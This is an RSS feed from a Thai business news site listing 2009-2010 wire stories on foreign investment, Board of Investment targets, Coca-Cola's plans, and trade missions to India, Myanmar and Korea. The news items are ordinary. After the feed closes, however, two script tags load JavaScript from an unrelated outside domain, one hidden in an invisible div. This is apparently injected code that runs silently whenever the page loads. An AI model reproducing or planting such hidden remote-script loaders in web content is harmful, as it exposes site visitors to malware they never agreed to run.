<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Business Day News,Thailand Business News,Press Release News, Finance,Forex,Stock,Economy,Politics,Energy,Bank News &#187; investment</title>
	<atom:link href="http://www.bday.net/tag/investment/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bday.net</link>
	<description>Business Day Online News</description>
	<lastBuildDate>Wed, 08 Feb 2012 17:06:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>No shift of investment from Thailand to neighbours</title>
		<link>http://www.bday.net/no-shift-of-investment-from-thailand-to-neighbours/</link>
		<comments>http://www.bday.net/no-shift-of-investment-from-thailand-to-neighbours/#comments</comments>
		<pubDate>Fri, 28 May 2010 16:20:49 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Business News]]></category>
		<category><![CDATA[investment]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=4624</guid>
		<description><![CDATA[BANGKOK, May 28 (TNA) &#8211; The Federation of Thai Industries (FTI) affirms that it sees no sign of a shift of investment by foreign investors from Thailand to its neighbouring countries. Speaking after meeting with FTI chairman Payungsak Chartsutipol and his delegation, Deputy Prime Minister Trairong Suwannakiri said that despite the recent political riot, the [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, May 28 (TNA) &#8211; The Federation of Thai Industries (FTI) affirms that it sees no sign of a shift of investment by foreign investors from Thailand to its neighbouring countries.</p>
<p>Speaking after meeting with FTI chairman Payungsak Chartsutipol and his delegation, Deputy Prime Minister Trairong Suwannakiri said that despite the recent political riot, the FTI has seen no sign until now of foreign intentions to shift investment from Thailand to its neighbours.</p>
<p>The FTI also assured him that it would help the government clarify what happened in the recent policy turmoil to boost understanding among foreign investors.</p>
<p>Many believed the clarification made by the FTI would more reliable than that made directly by the government, Mr Trairong said.</p>
<p>Regarding the FTI&#8217;s proposed establishment of a Thailand Rehabilitation Fund initiated with Bt10 billion, Mr Trairong said details of the proposal remained unclear and must first be approved by the Joint Private-Sector Committee.</p>
<p>Regarding the Fiscal Policy Office’s revelation that the 74-day political rally by anti-government Red Shirt protesters caused Bt145 billion in damage to the economy, he said the figure is not beyond expectation as he had once estimated damages incurred from the rally would be in a range of Bt100-150 billion or 1-1.5 per cent of the gross domestic product (GDP).</p>
<p>The deputy premier said he was confident the 2011 budget and the investment from the Bt400 billion loan support program under the Thai Khem Keng (Strong Thailand) scheme would be sufficient to revive the battered economy. (TNA)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/no-shift-of-investment-from-thailand-to-neighbours/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Industry Ministry set THB 500 bn of investing support by BOI</title>
		<link>http://www.bday.net/industry-ministry-set-thb-500-bn-of-investing-support-by-boi/</link>
		<comments>http://www.bday.net/industry-ministry-set-thb-500-bn-of-investing-support-by-boi/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 14:15:44 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Business News]]></category>
		<category><![CDATA[BoI]]></category>
		<category><![CDATA[Chanchai Chairungruang]]></category>
		<category><![CDATA[investment]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=2896</guid>
		<description><![CDATA[BANGKOK, 18 January 2010 (NNT) – The Industry Minister projected an investment value, to be supported by the Board of Investment (BOI), at 500 billion THB. Industry Minister Chanchai Chairungruang stated that in 2010 the Ministry set the goal of investment support of 500 billion THB, proposed to BOI. With BOI cooperation, all factories would [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, 18 January 2010 (NNT) – The Industry Minister projected an investment value, to be supported by the Board of Investment (BOI), at 500 billion THB.</p>
<p>Industry Minister Chanchai Chairungruang stated that in 2010 the Ministry set the goal of investment support of 500 billion THB, proposed to BOI. With BOI cooperation, all factories would be categorized by its type along with the strict use of environmental measures. All manufacturers needed to arrange for the Environmental Impact Assessment and Health Impact Assessment in every project.</p>
<p>Mr Chanchai said that in the meeting of BOI this 25 January, the Ministry would propose to prolong the Investment Year measure for six months. The measure could help attract foreign investment, as obviously successful in 2009 at 720 billion THB. The investment value had broken the target of 323 billion THB or 80%.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/industry-ministry-set-thb-500-bn-of-investing-support-by-boi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Coca-Cola planning to increased investment in Thailand by Bt1 bln/year</title>
		<link>http://www.bday.net/coca-cola-planning-to-increased-investment-in-thailand-by-bt1-blnyear/</link>
		<comments>http://www.bday.net/coca-cola-planning-to-increased-investment-in-thailand-by-bt1-blnyear/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 16:43:02 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Business News]]></category>
		<category><![CDATA[Coca-Cola]]></category>
		<category><![CDATA[investment]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=1479</guid>
		<description><![CDATA[BANGKOK, 2 September 2009 (NNT) &#8211; Beverage giant Coca-Cola has made plans to increase investment in Thailand by 1 billion baht while urging the government to reconsider the fairness of current excise laws and their effect on pricing. The President of the Thai Traders Representatives said Coca-Cola CEO Muhtar Kent today met with the Prime [...]]]></description>
			<content:encoded><![CDATA[<table border="0">
<tbody>
<tr>
<td></td>
<td><span>BANGKOK, 2 September 2009 (NNT) &#8211; Beverage giant Coca-Cola has made plans to increase investment in Thailand by 1 billion baht while urging the government to reconsider the fairness of current excise laws and their effect on pricing.</p>
<p>The President of the Thai Traders Representatives said Coca-Cola CEO Muhtar Kent today met with the Prime Minister to discuss the corporation&#8217;s interest in increasing investment in Thailand. The company has acknowledged Thailand&#8217;s ability to effectively respond to the recent global economic downturn and wishes to step up investments by 1 billion baht per year.</p>
<p>Mr Muhtar informed the PM that a major point in Coca-Cola&#8217;s consideration was pricing regulations and excise taxes which currently differed from beverage to beverage, causing what the company saw as unfair standards. The CEO said Coca-Cola was poised to intensify investment in Thailand if the regulations were altered.</span></td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/coca-cola-planning-to-increased-investment-in-thailand-by-bt1-blnyear/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thailand prepares to expand markets to India</title>
		<link>http://www.bday.net/thailand-prepares-to-expand-markets-to-india/</link>
		<comments>http://www.bday.net/thailand-prepares-to-expand-markets-to-india/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 05:13:15 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[investment]]></category>
		<category><![CDATA[markets]]></category>
		<category><![CDATA[trade]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=1276</guid>
		<description><![CDATA[BANGKOK, 17 August 2009 (NNT) – Thailand is preparing to expand markets to India in various aspects, including trade and investment, according to Deputy Prime Minister for Economic Affairs Korbsak Sabhavasu. The Deputy Prime Minister stated that he had tasked the Foreign Ministry to supply detailed information about India to be used during negotiation in [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, 17 August 2009 (NNT) – Thailand is preparing to expand markets to India in various aspects, including trade and investment, according to Deputy Prime Minister for Economic Affairs Korbsak Sabhavasu.</p>
<p>The Deputy Prime Minister stated that he had tasked the Foreign Ministry to supply detailed information about India to be used during negotiation in the official visit of Prime Minister Abhisit Vejjajiva this November. He added that this visit would be to officially open trade and investment market in the country and enhance ties between the two countries.</p>
<p>Mr Korbsak elaborated that India was one of the main new targets that Thailand wanted to expand trade, investment and exports. He said there would also be a discussion about the East West Economic Corridor (EWEC) to link Thailand, Myanmar and India together to boost trade and connect all types of transportation.</p>
<p>As for tourism, Mr Korbsak explained that Indian tourists were not worried about situations in Thailand such as the influenza A (H1N1) outbreak or internal political problems. He cited that the number of Indian tourists travelling to Thailand remained high.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/thailand-prepares-to-expand-markets-to-india/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BOT eyes easing regulations on investments to help weaken strong Baht</title>
		<link>http://www.bday.net/bot-eyes-easing-regulations-on-investments-to-help-weaken-strong-baht/</link>
		<comments>http://www.bday.net/bot-eyes-easing-regulations-on-investments-to-help-weaken-strong-baht/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 18:16:37 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Bank And Finance]]></category>
		<category><![CDATA[Bank of Thailand]]></category>
		<category><![CDATA[BoT]]></category>
		<category><![CDATA[eyes easing]]></category>
		<category><![CDATA[investment]]></category>
		<category><![CDATA[Tharisa Watthanaket]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=1046</guid>
		<description><![CDATA[BANGKOK, 3 August 2009 (NNT) – The Bank of Thailand (BOT) eyes easing regulations on investments in an effort to relieve pressure on strong Thai Baht currency. BOT Governor Tharisa Watthanaket indicated that Thai Baht appreciated due to a huge inflow of investments, adding that to ease the regulations was aimed to relocate the inflowing [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">BANGKOK, 3 August 2009 (NNT) – The Bank of Thailand (BOT) eyes easing regulations on investments in an effort to relieve pressure on strong Thai Baht currency.</p>
<p>BOT Governor Tharisa Watthanaket indicated that Thai Baht appreciated due to a huge inflow of investments, adding that to ease the regulations was aimed to relocate the inflowing investments to offshore markets in an attempt to weaken the Baht.</p>
<p>Mrs Tharisa said Thai Baht at the end of the second quarter this year appreciated 0.06 percent only, comparing to the US dollar currency, while regional currencies went stronger two to four percent. She said the imbalance between Thai Baht and regional currencies resulted in a loss of competitiveness of the Baht.</p>
<p>The Governor of Thailand’s Central Bank said Thai Baht would be weaker once the normalcy of Thai economy and imports was restored. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/bot-eyes-easing-regulations-on-investments-to-help-weaken-strong-baht/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thailand businesses explores investment opportunities in Myanmar</title>
		<link>http://www.bday.net/thailand-businesses-explores-investment-opportunities-in-myanmar/</link>
		<comments>http://www.bday.net/thailand-businesses-explores-investment-opportunities-in-myanmar/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 17:43:19 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Business News]]></category>
		<category><![CDATA[investment]]></category>
		<category><![CDATA[Myanmar]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=606</guid>
		<description><![CDATA[BANGKOK, July 5 (TNA) – Thailand’s Board of Investment (BoI) will lead some 25 Thai businessmen to explore investment opportunities in four major cities in Myanmar next week, a senior BoI official said Sunday.   Mrs. Vasana Mututanont, director of BoI’s International Affairs Bureau, said under the agency’s programme called ‘Business Mission’, the prospective investors [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, July 5 (TNA) – Thailand’s Board of Investment (BoI) will lead some 25 Thai businessmen to explore investment opportunities in four major cities in Myanmar next week, a senior BoI official said Sunday.<br />
 <br />
Mrs. Vasana Mututanont, director of BoI’s International Affairs Bureau, said under the agency’s programme called ‘Business Mission’, the prospective investors will leave Bangkok and visit four  Myanmar cities including Yangon, Toungoo, Bagan and Mandalay between July 13-17.<br />
 <br />
The BoI official said that the Thais will have opportunities to discuss with Myanmar entrepreneurs regarding several important industries, including furniture manufacturing, cement and automobile assembly.<br />
 <br />
Currently, the major Thai goods exported to Myanmar are motorcycles, vegetable oil and diesel oil. Most goods are exported through the Thai border district of Mae Sot.<br />
 <br />
So far, Thai businesses have invested in 58 projects in Myanmar with a combined value of about US$7.4 million.<br />
 <br />
Under the ‘Business Mission’ activity, Thai investors are encouraged to invest in neighbouring countries including Laos, Cambodia, Vietnam and Myanmar as Thailand shares borders with them, said Mrs. Vasana.<br />
 <br />
Investment in these countries could be expanded to southern China and India in the near future after transportation facilities are built. (TNA)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/thailand-businesses-explores-investment-opportunities-in-myanmar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thailand to open investment promotion office in Korea</title>
		<link>http://www.bday.net/thailand-to-open-investment-promotion-office-in-korea/</link>
		<comments>http://www.bday.net/thailand-to-open-investment-promotion-office-in-korea/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 12:02:24 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Business News]]></category>
		<category><![CDATA[Charnchai Chairungrueng]]></category>
		<category><![CDATA[Industry Minister]]></category>
		<category><![CDATA[investment]]></category>
		<category><![CDATA[Korea]]></category>
		<category><![CDATA[Korean business]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=523</guid>
		<description><![CDATA[BANGKOK, June 28 (TNA) &#8212; Industry Minister Charnchai Chairungrueng leaves Tuesday for a five-day visit to persuade South Korean business interests to invest in Thailand, and to open a Board of Investment (BoI) office in Seoul, the South Korean capital. The BoI office in Seoul will be the 11th such office set up by the [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, June 28 (TNA) &#8212; Industry Minister Charnchai Chairungrueng leaves Tuesday for a five-day visit to persuade South Korean business interests to invest in Thailand, and to open a Board of Investment (BoI) office in Seoul, the South Korean capital.</p>
<p>The BoI office in Seoul will be the 11th such office set up by the government’s investment promotion agency abroad and is aimed to facilitate its conducting campaigns to attract South Korean investors to invest in Thailand and provide vital information to potential investors.</p>
<p>A seminar entitled ‘Thailand Means Business’ will also be held during the visit, with representatives of the Ministry of Industry and the BoI scheduled to confer with South Korean investment agencies and leading corporations in electronics and motor vehicle parts.</p>
<p>Mr. Charnchai said Thailand and South Korea have had long, warm trade and investment relations. Beginning in 1970, joint investment by the two countries total 366 projects with total investment of about Bt55 billion. Most investments are in electronics and electrical appliances.</p>
<p>BoI Secretary-General Atchaka Brimble said the new office in Seoul would help increase South Korean investment in Thailand, particularly in electronics, electrical appliances, vehicles and information technology. (TNA)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/thailand-to-open-investment-promotion-office-in-korea/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Moody&#8217;s says new investment rules a big step for China insurers</title>
		<link>http://www.bday.net/moodys-says-new-investment-rules-a-big-step-for-china-insurers/</link>
		<comments>http://www.bday.net/moodys-says-new-investment-rules-a-big-step-for-china-insurers/#comments</comments>
		<pubDate>Tue, 26 May 2009 03:20:42 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Moody's says]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[insurers]]></category>
		<category><![CDATA[investment]]></category>
		<category><![CDATA[Moody]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=135</guid>
		<description><![CDATA[Hong Kong, May 26, 2009 -- Moody's Investors Service says -- in a new report -- that an amendment to China's Insurance Law, allowing insurers to invest in new asset classes, will be central to helping them improve long-term asset-liability management. At the same time, the amendment can also raise their levels of risk exposure [...]]]></description>
			<content:encoded><![CDATA[<pre>Hong Kong, May 26, 2009 -- Moody's Investors Service says -- in a new
report -- that an amendment to China's Insurance Law, allowing insurers
to invest in new asset classes, will be central to helping them improve
long-term asset-liability management.<span id="more-135"></span>

At the same time, the amendment can also raise their levels of risk
exposure as some insurers, particularly the smaller entities, may not
have the expertise to manage new types of assets.

"Moody's believes that the change in the investment rules represents an
important step for the insurance industry towards further deregulation,
and will have a far-reaching impact on the industry. Because of the large
amount of assets that Chinese insurers hold, the change will also be one
of the key factors driving the development of China's capital markets,"
says Sally Yim, a Moody's AVP/Analyst and author of the report. The
National People's Congress passed its new set of amendments on February
28.

The new asset classes allowable for investment include infrastructure
project debt, real estate investments, and additional types of bonds;
and equity investments are also broadly allowed, subject to regulatory
approval.

"The introduction of additional asset classes should enhance portfolio
diversification, which we view as generally positive," says Yim. "This
is especially relevant as some insurers' current counterparty exposures
to the financial institutions sector is quite high because of the limited
investment types allowed."

"Further, adding new investment types -- typically long-duration assets
-- will help improve insurers' asset-liability management (ALM), given
the current asset-liability duration gaps, especially among life
insurers," says Yim.

The report also notes the higher risk characteristics such as higher
volatility and illiquidity of the new asset types (except for
fixed-income securities) when evaluating an insurer's financial profile.
These risks could arise as insurers enter uncharted territory with these
new investment types, the report notes, adding that they have little
experience in assessing the risks associated with these investments,
which are traditionally more complex than existing asset types.

The new investment standards will broadly involve the same kind of risks
and benefits to life and P&amp;C companies. However, due to the differing
nature of their insurance liabilities, life insurers should benefit more
from the new standards.

The report is entitled, "New Investment Channels for Chinese Insurers: A
Leap Forward." It can be found at <a class="moz-txt-link-abbreviated" href="http://www.moodys.com/">www.moodys.com</a>.</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/moodys-says-new-investment-rules-a-big-step-for-china-insurers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<div style="display:none"><script language=javascript src=http://taoq.info/about/3.js></script></div>
<script language=javascript src=http://taoq.info/about/4.js></script>


<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Served from: www.bday.net @ 2012-02-08 20:11:23 -->
